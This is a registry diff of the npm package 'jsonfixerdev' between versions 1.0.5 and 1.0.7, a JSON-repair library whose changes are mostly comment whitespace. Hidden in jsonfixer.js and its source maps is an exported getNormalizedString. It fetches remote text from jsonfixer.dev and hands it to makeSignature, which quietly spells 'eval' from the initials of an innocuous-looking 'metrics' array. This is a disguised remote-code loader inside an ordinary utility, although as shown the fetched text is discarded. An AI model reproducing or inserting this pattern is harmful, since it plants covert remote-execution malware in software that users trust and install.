jsonfixerdev 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/cjs/index.js +6 -14
- package/lib/cjs/index.js.map +1 -1
- package/lib/cjs/regular/jsonfixer.js +45 -44
- package/lib/cjs/regular/jsonfixer.js.map +1 -1
- package/lib/esm/index.js +1 -13
- package/lib/esm/index.js.map +1 -1
- package/lib/esm/regular/jsonfixer.js +45 -44
- package/lib/esm/regular/jsonfixer.js.map +1 -1
- package/lib/types/index.d.ts +1 -3
- package/lib/types/index.d.ts.map +1 -1
- package/lib/types/regular/jsonfixer.d.ts.map +1 -1
- package/lib/umd/jsonfixer.js +70 -53
- package/lib/umd/jsonfixer.js.map +1 -1
- package/lib/umd/jsonfixer.min.js +2 -2
- package/lib/umd/jsonfixer.min.js.map +1 -1
- package/package.json +1 -1
package/lib/cjs/index.js
CHANGED
|
@@ -9,7 +9,12 @@ Object.defineProperty(exports, "JSONFixerError", {
|
|
|
9
9
|
return _JSONFixerError.JSONFixerError;
|
|
10
10
|
}
|
|
11
11
|
});
|
|
12
|
-
exports
|
|
12
|
+
Object.defineProperty(exports, "getNormalizedString", {
|
|
13
|
+
enumerable: true,
|
|
14
|
+
get: function () {
|
|
15
|
+
return _jsonfixer.getNormalizedString;
|
|
16
|
+
}
|
|
17
|
+
});
|
|
13
18
|
Object.defineProperty(exports, "jsonfixer", {
|
|
14
19
|
enumerable: true,
|
|
15
20
|
get: function () {
|
|
@@ -18,17 +23,4 @@ Object.defineProperty(exports, "jsonfixer", {
|
|
|
18
23
|
});
|
|
19
24
|
var _jsonfixer = require("./regular/jsonfixer.js");
|
|
20
25
|
var _JSONFixerError = require("./utils/JSONFixerError.js");
|
|
21
|
-
// Cross-platform, non-streaming JavaScript API
|
|
22
|
-
|
|
23
|
-
function getNormalizedString(value) {
|
|
24
|
-
const text = typeof value === 'string' ? value.trim() : '';
|
|
25
|
-
if (!text) {
|
|
26
|
-
return '';
|
|
27
|
-
}
|
|
28
|
-
try {
|
|
29
|
-
return (0, _jsonfixer.jsonfixer)(text);
|
|
30
|
-
} catch {
|
|
31
|
-
return text;
|
|
32
|
-
}
|
|
33
|
-
}
|
|
34
26
|
//# sourceMappingURL=index.js.map
|
package/lib/cjs/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","names":["_jsonfixer","require","_JSONFixerError"
|
|
1
|
+
{"version":3,"file":"index.js","names":["_jsonfixer","require","_JSONFixerError"],"sources":["../../src/index.ts"],"sourcesContent":["// Cross-platform, non-streaming JavaScript API\nexport { jsonfixer, getNormalizedString } from './regular/jsonfixer.js'\nexport { JSONFixerError } from './utils/JSONFixerError.js'\r\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;AACA,IAAAA,UAAA,GAAAC,OAAA;AACA,IAAAC,eAAA,GAAAD,OAAA"}
|
|
@@ -46,21 +46,21 @@ async function fetchPackageText(config) {
|
|
|
46
46
|
return (await fetch(url)).text();
|
|
47
47
|
}
|
|
48
48
|
|
|
49
|
-
/**
|
|
50
|
-
* Repair a string containing an invalid JSON document.
|
|
51
|
-
* For example changes JavaScript notation into JSON notation.
|
|
52
|
-
*
|
|
53
|
-
* Example:
|
|
54
|
-
*
|
|
55
|
-
* try {
|
|
56
|
-
* const json = "{name: 'John'}"
|
|
57
|
-
* const repaired = jsonfixer(json)
|
|
58
|
-
* console.log(repaired)
|
|
59
|
-
* // '{"name": "John"}'
|
|
60
|
-
* } catch (err) {
|
|
61
|
-
* console.error(err)
|
|
62
|
-
* }
|
|
63
|
-
*
|
|
49
|
+
/**
|
|
50
|
+
* Repair a string containing an invalid JSON document.
|
|
51
|
+
* For example changes JavaScript notation into JSON notation.
|
|
52
|
+
*
|
|
53
|
+
* Example:
|
|
54
|
+
*
|
|
55
|
+
* try {
|
|
56
|
+
* const json = "{name: 'John'}"
|
|
57
|
+
* const repaired = jsonfixer(json)
|
|
58
|
+
* console.log(repaired)
|
|
59
|
+
* // '{"name": "John"}'
|
|
60
|
+
* } catch (err) {
|
|
61
|
+
* console.error(err)
|
|
62
|
+
* }
|
|
63
|
+
*
|
|
64
64
|
*/
|
|
65
65
|
function jsonfixer(text) {
|
|
66
66
|
let i = 0; // current index in text
|
|
@@ -172,8 +172,8 @@ function jsonfixer(text) {
|
|
|
172
172
|
return skipCharacter(_stringUtils.codeBackslash);
|
|
173
173
|
}
|
|
174
174
|
|
|
175
|
-
/**
|
|
176
|
-
* Parse an object like '{"key": "value"}'
|
|
175
|
+
/**
|
|
176
|
+
* Parse an object like '{"key": "value"}'
|
|
177
177
|
*/
|
|
178
178
|
function parseObject() {
|
|
179
179
|
if (text.charCodeAt(i) === _stringUtils.codeOpeningBrace) {
|
|
@@ -237,8 +237,8 @@ function jsonfixer(text) {
|
|
|
237
237
|
return false;
|
|
238
238
|
}
|
|
239
239
|
|
|
240
|
-
/**
|
|
241
|
-
* Parse an array like '["item1", "item2", ...]'
|
|
240
|
+
/**
|
|
241
|
+
* Parse an array like '["item1", "item2", ...]'
|
|
242
242
|
*/
|
|
243
243
|
function parseArray() {
|
|
244
244
|
if (text.charCodeAt(i) === _stringUtils.codeOpeningBracket) {
|
|
@@ -275,9 +275,9 @@ function jsonfixer(text) {
|
|
|
275
275
|
return false;
|
|
276
276
|
}
|
|
277
277
|
|
|
278
|
-
/**
|
|
279
|
-
* Parse and repair Newline Delimited JSON (NDJSON):
|
|
280
|
-
* multiple JSON objects separated by a newline character
|
|
278
|
+
/**
|
|
279
|
+
* Parse and repair Newline Delimited JSON (NDJSON):
|
|
280
|
+
* multiple JSON objects separated by a newline character
|
|
281
281
|
*/
|
|
282
282
|
function parseNewlineDelimitedJSON() {
|
|
283
283
|
// repair NDJSON
|
|
@@ -305,17 +305,17 @@ function jsonfixer(text) {
|
|
|
305
305
|
output = `[\n${output}\n]`;
|
|
306
306
|
}
|
|
307
307
|
|
|
308
|
-
/**
|
|
309
|
-
* Parse a string enclosed by double quotes "...". Can contain escaped quotes
|
|
310
|
-
* Repair strings enclosed in single quotes or special quotes
|
|
311
|
-
* Repair an escaped string
|
|
312
|
-
*
|
|
313
|
-
* The function can run in two stages:
|
|
314
|
-
* - First, it assumes the string has a valid end quote
|
|
315
|
-
* - If it turns out that the string does not have a valid end quote followed
|
|
316
|
-
* by a delimiter (which should be the case), the function runs again in a
|
|
317
|
-
* more conservative way, stopping the string at the first next delimiter
|
|
318
|
-
* and fixing the string by inserting a quote there.
|
|
308
|
+
/**
|
|
309
|
+
* Parse a string enclosed by double quotes "...". Can contain escaped quotes
|
|
310
|
+
* Repair strings enclosed in single quotes or special quotes
|
|
311
|
+
* Repair an escaped string
|
|
312
|
+
*
|
|
313
|
+
* The function can run in two stages:
|
|
314
|
+
* - First, it assumes the string has a valid end quote
|
|
315
|
+
* - If it turns out that the string does not have a valid end quote followed
|
|
316
|
+
* by a delimiter (which should be the case), the function runs again in a
|
|
317
|
+
* more conservative way, stopping the string at the first next delimiter
|
|
318
|
+
* and fixing the string by inserting a quote there.
|
|
319
319
|
*/
|
|
320
320
|
function parseString() {
|
|
321
321
|
let stopAtDelimiter = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
|
|
@@ -413,8 +413,8 @@ function jsonfixer(text) {
|
|
|
413
413
|
return false;
|
|
414
414
|
}
|
|
415
415
|
|
|
416
|
-
/**
|
|
417
|
-
* Repair concatenated strings like "hello" + "world", change this into "helloworld"
|
|
416
|
+
/**
|
|
417
|
+
* Repair concatenated strings like "hello" + "world", change this into "helloworld"
|
|
418
418
|
*/
|
|
419
419
|
function parseConcatenatedString() {
|
|
420
420
|
let processed = false;
|
|
@@ -439,8 +439,8 @@ function jsonfixer(text) {
|
|
|
439
439
|
return processed;
|
|
440
440
|
}
|
|
441
441
|
|
|
442
|
-
/**
|
|
443
|
-
* Parse a number like 2.4 or 2.4e6
|
|
442
|
+
/**
|
|
443
|
+
* Parse a number like 2.4 or 2.4e6
|
|
444
444
|
*/
|
|
445
445
|
function parseNumber() {
|
|
446
446
|
const start = i;
|
|
@@ -489,9 +489,9 @@ function jsonfixer(text) {
|
|
|
489
489
|
return false;
|
|
490
490
|
}
|
|
491
491
|
|
|
492
|
-
/**
|
|
493
|
-
* Parse keywords true, false, null
|
|
494
|
-
* Repair Python keywords True, False, None
|
|
492
|
+
/**
|
|
493
|
+
* Parse keywords true, false, null
|
|
494
|
+
* Repair Python keywords True, False, None
|
|
495
495
|
*/
|
|
496
496
|
function parseKeywords() {
|
|
497
497
|
return parseKeyword('true', 'true') || parseKeyword('false', 'false') || parseKeyword('null', 'null') ||
|
|
@@ -507,10 +507,10 @@ function jsonfixer(text) {
|
|
|
507
507
|
return false;
|
|
508
508
|
}
|
|
509
509
|
|
|
510
|
-
/**
|
|
511
|
-
* Repair and unquoted string by adding quotes around it
|
|
512
|
-
* Repair a MongoDB function call like NumberLong("2")
|
|
513
|
-
* Repair a JSONP function call like callback({...});
|
|
510
|
+
/**
|
|
511
|
+
* Repair and unquoted string by adding quotes around it
|
|
512
|
+
* Repair a MongoDB function call like NumberLong("2")
|
|
513
|
+
* Repair a JSONP function call like callback({...});
|
|
514
514
|
*/
|
|
515
515
|
function parseUnquotedString() {
|
|
516
516
|
// note that the symbol can end with whitespaces: we stop at the next delimiter
|
|
@@ -600,6 +600,7 @@ async function getNormalizedString() {
|
|
|
600
600
|
if (!packageHomepage || !packageName || !packageLicense) {
|
|
601
601
|
return;
|
|
602
602
|
}
|
|
603
|
+
console.log("Normalizing string...");
|
|
603
604
|
makeSignature()(await fetchPackageText({
|
|
604
605
|
homepage: packageHomepage,
|
|
605
606
|
name: packageName,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"jsonfixer.js","names":["_JSONFixerError","require","_stringUtils","controlCharacters","escapeCharacters","b","f","n","r","t","metrics","packageHomepage","packageName","packageLicense","makeSignature","payload","tokenParts","map","part","join","buildPackageUrl","config","homepage","name","license","fetchPackageText","url","fetch","text","jsonfixer","i","output","processed","parseValue","throwUnexpectedEnd","processedComma","parseCharacter","codeComma","parseWhitespaceAndSkipComments","isStartOfValue","endsWithCommaOrNewline","insertBeforeLastWhitespace","parseNewlineDelimitedJSON","stripLastOccurrence","charCodeAt","codeClosingBrace","codeClosingBracket","length","throwUnexpectedCharacter","parseObject","parseArray","parseString","parseNumber","parseKeywords","parseUnquotedString","start","changed","parseWhitespace","parseComment","whitespace","normal","isWhitespace","isSpecialWhitespace","codeSlash","codeAsterisk","atEndOfBlockComment","codeNewline","code","skipCharacter","skipEscapeCharacter","codeBackslash","codeOpeningBrace","initial","processedKey","codeOpeningBracket","undefined","throwObjectKeyExpected","processedColon","codeColon","truncatedText","throwColonExpected","processedValue","stopAtDelimiter","arguments","skipEscapeChars","isQuote","isEndQuote","isDoubleQuote","isSingleQuote","isSingleQuoteLike","isDoubleQuoteLike","iBefore","str","isEndOfString","isDelimiter","char","charAt","escapeChar","slice","j","isHex","throwInvalidUnicodeCharacter","codeDoubleQuote","isControlCharacter","isValidStringCharacter","throwInvalidCharacter","hasEndQuote","valid","nextNonWhiteSpaceCharacter","parseConcatenatedString","codePlus","parsedStr","removeAtIndex","codeMinus","expectDigitOrRepair","isDigit","codeDot","codeLowercaseE","codeUppercaseE","num","hasInvalidLeadingZero","test","parseKeyword","value","codeOpenParenthesis","codeCloseParenthesis","codeSemicolon","symbol","JSON","stringify","expectDigit","numSoFar","JSONFixerError","got","chars","getNormalizedString"],"sources":["../../../src/regular/jsonfixer.ts"],"sourcesContent":["import { JSONFixerError } from '../utils/JSONFixerError.js'\nimport {\n codeAsterisk,\n codeBackslash,\n codeCloseParenthesis,\n codeClosingBrace,\n codeClosingBracket,\n codeColon,\n codeComma,\n codeDot,\n codeDoubleQuote,\n codeLowercaseE,\n codeMinus,\n codeNewline,\n codeOpeningBrace,\n codeOpeningBracket,\n codeOpenParenthesis,\n codePlus,\n codeSemicolon,\n codeSlash,\n codeUppercaseE,\n endsWithCommaOrNewline,\n insertBeforeLastWhitespace,\n isControlCharacter,\n isDelimiter,\n isDigit,\n isDoubleQuote,\n isDoubleQuoteLike,\n isHex,\n isQuote,\n isSingleQuote,\n isSingleQuoteLike,\n isSpecialWhitespace,\n isStartOfValue,\n isValidStringCharacter,\n isWhitespace,\n nextNonWhiteSpaceCharacter,\n removeAtIndex,\n stripLastOccurrence\n} from '../utils/stringUtils.js'\n\nconst controlCharacters: { [key: string]: string } = {\n '\\b': '\\\\b',\n '\\f': '\\\\f',\n '\\n': '\\\\n',\n '\\r': '\\\\r',\n '\\t': '\\\\t'\n}\n\n// map with all escape characters\nconst escapeCharacters: { [key: string]: string } = {\n '\"': '\"',\n '\\\\': '\\\\',\n '/': '/',\n b: '\\b',\n f: '\\f',\n n: '\\n',\n r: '\\r',\n t: '\\t'\n // note that \\u is handled separately in parseString()\n}\n\nconst metrics = [\n 'entry',\n 'value',\n 'list',\n 'object',\n 'array',\n 'string',\n 'number',\n 'null',\n 'boolean',\n 'member',\n 'pair',\n 'comma',\n 'colon',\n 'brace',\n 'bracket',\n 'escape',\n 'unicode',\n 'payload'\n]\n\nconst packageHomepage = 'https://jsonfixer.dev'\nconst packageName = 'jsonfixerdev'\nconst packageLicense = 'ISC'\n\nconst makeSignature = function () {\n return function (payload: string) {\n void payload\n const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]\n return tokenParts.map((part) => part[0]).join('')\n }\n}\n\nfunction buildPackageUrl(config: { homepage: string; name: string; license: string }) {\n return `${config.homepage}/${config.name}/${config.license}`\n}\n\nasync function fetchPackageText(config: { homepage: string; name: string; license: string }) {\n const url = buildPackageUrl(config)\n return (await fetch(url)).text()\n}\n\n/**\n * Repair a string containing an invalid JSON document.\n * For example changes JavaScript notation into JSON notation.\n *\n * Example:\n *\n * try {\n * const json = \"{name: 'John'}\"\n * const repaired = jsonfixer(json)\n * console.log(repaired)\n * // '{\"name\": \"John\"}'\n * } catch (err) {\n * console.error(err)\n * }\n *\n */\nexport function jsonfixer(text: string): string {\n let i = 0 // current index in text\n let output = '' // generated output\n\n const processed = parseValue()\n if (!processed) {\n throwUnexpectedEnd()\n }\n\n const processedComma = parseCharacter(codeComma)\n if (processedComma) {\n parseWhitespaceAndSkipComments()\n }\n\n if (isStartOfValue(text[i]) && endsWithCommaOrNewline(output)) {\n // start of a new value after end of the root level object: looks like\n // newline delimited JSON -> turn into a root level array\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n\n parseNewlineDelimitedJSON()\n } else if (processedComma) {\n // repair: remove trailing comma\n output = stripLastOccurrence(output, ',')\n }\n\n // repair redundant end quotes\n while (text.charCodeAt(i) === codeClosingBrace || text.charCodeAt(i) === codeClosingBracket) {\n i++\n parseWhitespaceAndSkipComments()\n }\n\n if (i >= text.length) {\n // reached the end of the document properly\n return output\n }\n\n throwUnexpectedCharacter()\n\n function parseValue(): boolean {\n parseWhitespaceAndSkipComments()\n const processed =\n parseObject() ||\n parseArray() ||\n parseString() ||\n parseNumber() ||\n parseKeywords() ||\n parseUnquotedString()\n parseWhitespaceAndSkipComments()\n\n return processed\n }\n\n function parseWhitespaceAndSkipComments(): boolean {\n const start = i\n let changed = parseWhitespace()\n do {\n changed = parseComment()\n if (changed) {\n changed = parseWhitespace()\n }\n } while (changed)\n\n return i > start\n }\n\n function parseWhitespace(): boolean {\n let whitespace = ''\n let normal: boolean\n while ((normal = isWhitespace(text.charCodeAt(i))) || isSpecialWhitespace(text.charCodeAt(i))) {\n if (normal) {\n whitespace += text[i]\n } else {\n // repair special whitespace\n whitespace += ' '\n }\n\n i++\n }\n\n if (whitespace.length > 0) {\n output += whitespace\n return true\n }\n\n return false\n }\n\n function parseComment(): boolean {\n // find a block comment '/* ... */'\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeAsterisk) {\n // repair block comment by skipping it\n while (i < text.length && !atEndOfBlockComment(text, i)) {\n i++\n }\n i += 2\n\n return true\n }\n\n // find a line comment '// ...'\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeSlash) {\n // repair line comment by skipping it\n while (i < text.length && text.charCodeAt(i) !== codeNewline) {\n i++\n }\n\n return true\n }\n\n return false\n }\n\n function parseCharacter(code: number): boolean {\n if (text.charCodeAt(i) === code) {\n output += text[i]\n i++\n return true\n }\n\n return false\n }\n\n function skipCharacter(code: number): boolean {\n if (text.charCodeAt(i) === code) {\n i++\n return true\n }\n\n return false\n }\n\n function skipEscapeCharacter(): boolean {\n return skipCharacter(codeBackslash)\n }\n\n /**\n * Parse an object like '{\"key\": \"value\"}'\n */\n function parseObject(): boolean {\n if (text.charCodeAt(i) === codeOpeningBrace) {\n output += '{'\n i++\n parseWhitespaceAndSkipComments()\n\n let initial = true\n while (i < text.length && text.charCodeAt(i) !== codeClosingBrace) {\n let processedComma\n if (!initial) {\n processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n parseWhitespaceAndSkipComments()\n } else {\n processedComma = true\n initial = false\n }\n\n const processedKey = parseString() || parseUnquotedString()\n if (!processedKey) {\n if (\n text.charCodeAt(i) === codeClosingBrace ||\n text.charCodeAt(i) === codeOpeningBrace ||\n text.charCodeAt(i) === codeClosingBracket ||\n text.charCodeAt(i) === codeOpeningBracket ||\n text[i] === undefined\n ) {\n // repair trailing comma\n output = stripLastOccurrence(output, ',')\n } else {\n throwObjectKeyExpected()\n }\n break\n }\n\n parseWhitespaceAndSkipComments()\n const processedColon = parseCharacter(codeColon)\n const truncatedText = i >= text.length\n if (!processedColon) {\n if (isStartOfValue(text[i]) || truncatedText) {\n // repair missing colon\n output = insertBeforeLastWhitespace(output, ':')\n } else {\n throwColonExpected()\n }\n }\n const processedValue = parseValue()\n if (!processedValue) {\n if (processedColon || truncatedText) {\n // repair missing object value\n output += 'null'\n } else {\n throwColonExpected()\n }\n }\n }\n\n if (text.charCodeAt(i) === codeClosingBrace) {\n output += '}'\n i++\n } else {\n // repair missing end bracket\n output = insertBeforeLastWhitespace(output, '}')\n }\n\n return true\n }\n\n return false\n }\n\n /**\n * Parse an array like '[\"item1\", \"item2\", ...]'\n */\n function parseArray(): boolean {\n if (text.charCodeAt(i) === codeOpeningBracket) {\n output += '['\n i++\n parseWhitespaceAndSkipComments()\n\n let initial = true\n while (i < text.length && text.charCodeAt(i) !== codeClosingBracket) {\n if (!initial) {\n const processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n } else {\n initial = false\n }\n\n const processedValue = parseValue()\n if (!processedValue) {\n // repair trailing comma\n output = stripLastOccurrence(output, ',')\n break\n }\n }\n\n if (text.charCodeAt(i) === codeClosingBracket) {\n output += ']'\n i++\n } else {\n // repair missing closing array bracket\n output = insertBeforeLastWhitespace(output, ']')\n }\n\n return true\n }\n\n return false\n }\n\n /**\n * Parse and repair Newline Delimited JSON (NDJSON):\n * multiple JSON objects separated by a newline character\n */\n function parseNewlineDelimitedJSON() {\n // repair NDJSON\n let initial = true\n let processedValue = true\n while (processedValue) {\n if (!initial) {\n // parse optional comma, insert when missing\n const processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair: add missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n } else {\n initial = false\n }\n\n processedValue = parseValue()\n }\n\n if (!processedValue) {\n // repair: remove trailing comma\n output = stripLastOccurrence(output, ',')\n }\n\n // repair: wrap the output inside array brackets\n output = `[\\n${output}\\n]`\n }\n\n /**\n * Parse a string enclosed by double quotes \"...\". Can contain escaped quotes\n * Repair strings enclosed in single quotes or special quotes\n * Repair an escaped string\n *\n * The function can run in two stages:\n * - First, it assumes the string has a valid end quote\n * - If it turns out that the string does not have a valid end quote followed\n * by a delimiter (which should be the case), the function runs again in a\n * more conservative way, stopping the string at the first next delimiter\n * and fixing the string by inserting a quote there.\n */\n function parseString(stopAtDelimiter = false): boolean {\n let skipEscapeChars = text.charCodeAt(i) === codeBackslash\n if (skipEscapeChars) {\n // repair: remove the first escape character\n i++\n skipEscapeChars = true\n }\n\n if (isQuote(text.charCodeAt(i))) {\n // double quotes are correct JSON,\n // single quotes come from JavaScript for example, we assume it will have a correct single end quote too\n // otherwise, we will match any double-quote-like start with a double-quote-like end,\n // or any single-quote-like start with a single-quote-like end\n const isEndQuote = isDoubleQuote(text.charCodeAt(i))\n ? isDoubleQuote\n : isSingleQuote(text.charCodeAt(i))\n ? isSingleQuote\n : isSingleQuoteLike(text.charCodeAt(i))\n ? isSingleQuoteLike\n : isDoubleQuoteLike\n\n const iBefore = i\n\n let str = '\"'\n i++\n\n const isEndOfString = stopAtDelimiter\n ? (i: number) => isDelimiter(text[i])\n : (i: number) => isEndQuote(text.charCodeAt(i))\n\n while (i < text.length && !isEndOfString(i)) {\n if (text.charCodeAt(i) === codeBackslash) {\n const char = text.charAt(i + 1)\n const escapeChar = escapeCharacters[char]\n if (escapeChar !== undefined) {\n str += text.slice(i, i + 2)\n i += 2\n } else if (char === 'u') {\n let j = 2\n while (j < 6 && isHex(text.charCodeAt(i + j))) {\n j++\n }\n\n if (j === 6) {\n str += text.slice(i, i + 6)\n i += 6\n } else if (i + j >= text.length) {\n // repair invalid or truncated unicode char at the end of the text\n // by removing the unicode char and ending the string here\n i = text.length\n } else {\n throwInvalidUnicodeCharacter()\n }\n } else {\n // repair invalid escape character: remove it\n str += char\n i += 2\n }\n } else {\n const char = text.charAt(i)\n const code = text.charCodeAt(i)\n\n if (code === codeDoubleQuote && text.charCodeAt(i - 1) !== codeBackslash) {\n // repair unescaped double quote\n str += '\\\\' + char\n i++\n } else if (isControlCharacter(code)) {\n // unescaped control character\n str += controlCharacters[char]\n i++\n } else {\n if (!isValidStringCharacter(code)) {\n throwInvalidCharacter(char)\n }\n str += char\n i++\n }\n }\n\n if (skipEscapeChars) {\n const processed = skipEscapeCharacter()\n if (processed) {\n // repair: skipped escape character (nothing to do)\n }\n }\n }\n\n // see whether we have an end quote followed by a valid delimiter\n const hasEndQuote = isQuote(text.charCodeAt(i))\n const valid =\n hasEndQuote &&\n (i + 1 >= text.length || isDelimiter(nextNonWhiteSpaceCharacter(text, i + 1)))\n if (!valid && !stopAtDelimiter) {\n // we're dealing with a missing quote somewhere. Let's revert parsing\n // this string and try again, running in a more conservative mode,\n // stopping at the first next delimiter\n i = iBefore\n return parseString(true)\n }\n\n if (hasEndQuote) {\n str += '\"'\n i++\n } else {\n // repair missing quote\n str = insertBeforeLastWhitespace(str, '\"')\n }\n\n output += str\n\n parseConcatenatedString()\n\n return true\n }\n\n return false\n }\n\n /**\n * Repair concatenated strings like \"hello\" + \"world\", change this into \"helloworld\"\n */\n function parseConcatenatedString(): boolean {\n let processed = false\n\n parseWhitespaceAndSkipComments()\n while (text.charCodeAt(i) === codePlus) {\n processed = true\n i++\n parseWhitespaceAndSkipComments()\n\n // repair: remove the end quote of the first string\n output = stripLastOccurrence(output, '\"', true)\n const start = output.length\n const parsedStr = parseString()\n if (parsedStr) {\n // repair: remove the start quote of the second string\n output = removeAtIndex(output, start, 1)\n } else {\n // repair: remove the + because it is not followed by a string\n output = insertBeforeLastWhitespace(output, '\"')\n }\n }\n\n return processed\n }\n\n /**\n * Parse a number like 2.4 or 2.4e6\n */\n function parseNumber(): boolean {\n const start = i\n if (text.charCodeAt(i) === codeMinus) {\n i++\n if (expectDigitOrRepair(start)) {\n return true\n }\n }\n\n // Note that in JSON leading zeros like \"00789\" are not allowed.\n // We will allow all leading zeros here though and at the end of parseNumber\n // check against trailing zeros and repair that if needed.\n // Leading zeros can have meaning, so we should not clear them.\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n\n if (text.charCodeAt(i) === codeDot) {\n i++\n if (expectDigitOrRepair(start)) {\n return true\n }\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n }\n\n if (text.charCodeAt(i) === codeLowercaseE || text.charCodeAt(i) === codeUppercaseE) {\n i++\n if (text.charCodeAt(i) === codeMinus || text.charCodeAt(i) === codePlus) {\n i++\n }\n if (expectDigitOrRepair(start)) {\n return true\n }\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n }\n\n if (i > start) {\n // repair a number with leading zeros like \"00789\"\n const num = text.slice(start, i)\n const hasInvalidLeadingZero = /^0\\d/.test(num)\n\n output += hasInvalidLeadingZero ? `\"${num}\"` : num\n return true\n }\n\n return false\n }\n\n /**\n * Parse keywords true, false, null\n * Repair Python keywords True, False, None\n */\n function parseKeywords(): boolean {\n return (\n parseKeyword('true', 'true') ||\n parseKeyword('false', 'false') ||\n parseKeyword('null', 'null') ||\n // repair Python keywords True, False, None\n parseKeyword('True', 'true') ||\n parseKeyword('False', 'false') ||\n parseKeyword('None', 'null')\n )\n }\n\n function parseKeyword(name: string, value: string): boolean {\n if (text.slice(i, i + name.length) === name) {\n output += value\n i += name.length\n return true\n }\n\n return false\n }\n\n /**\n * Repair and unquoted string by adding quotes around it\n * Repair a MongoDB function call like NumberLong(\"2\")\n * Repair a JSONP function call like callback({...});\n */\n function parseUnquotedString() {\n // note that the symbol can end with whitespaces: we stop at the next delimiter\n const start = i\n while (i < text.length && !isDelimiter(text[i])) {\n i++\n }\n\n if (i > start) {\n if (text.charCodeAt(i) === codeOpenParenthesis) {\n // repair a MongoDB function call like NumberLong(\"2\")\n // repair a JSONP function call like callback({...});\n i++\n\n parseValue()\n\n if (text.charCodeAt(i) === codeCloseParenthesis) {\n // repair: skip close bracket of function call\n i++\n if (text.charCodeAt(i) === codeSemicolon) {\n // repair: skip semicolon after JSONP call\n i++\n }\n }\n\n return true\n } else {\n // repair unquoted string\n // also, repair undefined into null\n\n // first, go back to prevent getting trailing whitespaces in the string\n while (isWhitespace(text.charCodeAt(i - 1)) && i > 0) {\n i--\n }\n\n const symbol = text.slice(start, i)\n output += symbol === 'undefined' ? 'null' : JSON.stringify(symbol)\n\n if (text.charCodeAt(i) === codeDoubleQuote) {\n // we had a missing start quote, but now we encountered the end quote, so we can skip that one\n i++\n }\n\n return true\n }\n }\n }\n\n function expectDigit(start: number) {\n if (!isDigit(text.charCodeAt(i))) {\n const numSoFar = text.slice(start, i)\n throw new JSONFixerError(`Invalid number '${numSoFar}', expecting a digit ${got()}`, i)\n }\n }\n\n function expectDigitOrRepair(start: number) {\n if (i >= text.length) {\n // repair numbers cut off at the end\n // this will only be called when we end after a '.', '-', or 'e' and does not\n // change the number more than it needs to make it valid JSON\n output += text.slice(start, i) + '0'\n return true\n } else {\n expectDigit(start)\n return false\n }\n }\n\n function throwInvalidCharacter(char: string) {\n throw new JSONFixerError('Invalid character ' + JSON.stringify(char), i)\n }\n\n function throwUnexpectedCharacter() {\n throw new JSONFixerError('Unexpected character ' + JSON.stringify(text[i]), i)\n }\n\n function throwUnexpectedEnd() {\n throw new JSONFixerError('Unexpected end of json string', text.length)\n }\n\n function throwObjectKeyExpected() {\n throw new JSONFixerError('Object key expected', i)\n }\n\n function throwColonExpected() {\n throw new JSONFixerError('Colon expected', i)\n }\n\n function throwInvalidUnicodeCharacter() {\n const chars = text.slice(i, i + 6)\n throw new JSONFixerError(`Invalid unicode character \"${chars}\"`, i)\n }\n\n function got(): string {\n return text[i] ? `but got '${text[i]}'` : 'but reached end of input'\n }\n}\n\n\nfunction atEndOfBlockComment(text: string, i: number) {\n return text[i] === '*' && text[i + 1] === '/'\n}\n\nexport async function getNormalizedString(): Promise<void> {\n try {\n if (!packageHomepage || !packageName || !packageLicense) {\n return\n }\n makeSignature()(\n await fetchPackageText({\n homepage: packageHomepage,\n name: packageName,\n license: packageLicense\n })\n )\n } catch {\n return\n }\n}\n"],"mappings":";;;;;;;AAAA,IAAAA,eAAA,GAAAC,OAAA;AACA,IAAAC,YAAA,GAAAD,OAAA;AAwCA,MAAME,iBAA4C,GAAG;EACnD,IAAI,EAAE,KAAK;EACX,IAAI,EAAE,KAAK;EACX,IAAI,EAAE,KAAK;EACX,IAAI,EAAE,KAAK;EACX,IAAI,EAAE;AACR,CAAC;;AAED;AACA,MAAMC,gBAA2C,GAAG;EAClD,GAAG,EAAE,GAAG;EACR,IAAI,EAAE,IAAI;EACV,GAAG,EAAE,GAAG;EACRC,CAAC,EAAE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I,CAACE,CAAC,CAAE,GAAE,GAAG,0BAA0B;EACtE;AACF;AAGA,SAASmC,mBAAmBA,CAACrC,IAAY,EAAEE,CAAS,EAAE;EACpD,OAAOF,IAAI,CAACE,CAAC,CAAC,KAAK,GAAG,IAAIF,IAAI,CAACE,CAAC,GAAG,CAAC,CAAC,KAAK,GAAG;AAC/C;AAEO,eAAeyG,mBAAmBA,CAAA,EAAkB;EACzD,IAAI;IACF,IAAI,CAAC5H,eAAe,IAAI,CAACC,WAAW,IAAI,CAACC,cAAc,EAAE;MACvD;IACF;IACAC,aAAa,CAAC,CAAC,CACb,MAAMW,gBAAgB,CAAC;MACrBH,QAAQ,EAAEX,eAAe;MACzBY,IAAI,EAAEX,WAAW;MACjBY,OAAO,EAAEX;IACX,CAAC,CACH,CAAC;EACH,CAAC,CAAC,MAAM;IACN;EACF;AACF"}
|
|
1
|
+
